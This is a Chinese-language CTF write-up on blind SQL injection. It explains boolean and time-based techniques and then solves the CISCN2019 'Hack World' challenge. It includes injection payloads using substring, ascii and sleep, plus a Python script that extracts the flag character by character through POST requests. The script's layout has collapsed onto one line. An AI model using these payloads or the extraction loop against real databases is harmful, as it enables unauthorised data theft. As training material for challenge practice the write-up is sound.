一、布尔盲注利用
假如注入的网页能返回1或0的提示信息,我们可以写如下代码:
select password from admin where username ='1' or 1=1;#
1=1
是我们利用的逻辑点,我们能在此处进行一个判断,比如判断某个数据字段第几位上的字符是否为’ 1’,如果成立,则为真,不成立,为假。
所以可以写成:
select password from admin where username ='1' or if((substring(version(),1,1)='1'),1,0);#
这句话的意思就是判断version()
从第一位开始的一位字符是否为‘1’。如果是,则返回1(真),反之,返回0(假)。这样就可以通过循环语句改变位置‘1’,拿到flag。
二、时间盲注利用
用sleep()函数
username =1'or if((substring(version(),1,1) ='1'),sleep(10),0);#
三、实战:[CISCN2019 华北赛区 Day2 Web1]Hack World 1
打开题目,题目告知flag就在flag表里,那看起来,我们只要执行
select flag from flag
并成功获取到数据即可。
1.布尔盲注
输入id=1,得到回显如下:
尝试输入:
(ascii(substr ((select(flag)from(flag)),1,1))>32)
意思是,截取第一个字符,转成ASCII码,然后判断值是否大于32,如果大于32,整个条件即为真。这样我们就得到了一个布尔盲注点。
构造exp如下:
import time
import requests
url =" "
result =" "
for i in range(1,44): # 假设flag字段最长43个字符for j in range(32,128): # ASCII码32到126代表了空格到波浪号(~)之间的所有可打印字符time.sleep(0.1)payload = '(ascii(substr((select(flag)from(flag)),'+str(i)+',1))>'+str(j)+')'# 判断flag字段的第i个字符的ASCII值是否大于jprint(payload) r = requests.post(url,data={'id':payload}) # 向目标URL发送POST请求,请求体中包含构造的payloadif r.text.find('girl')==-1:# 这里假设当查询条件为真(即字符的ASCII值确实大于j)时,响应文本中不会出现"girl"result +=chr(j) #,说明当前尝试的ASCII值j比实际字符的ASCII值大print(j)break
print(result)
最后拿到flag。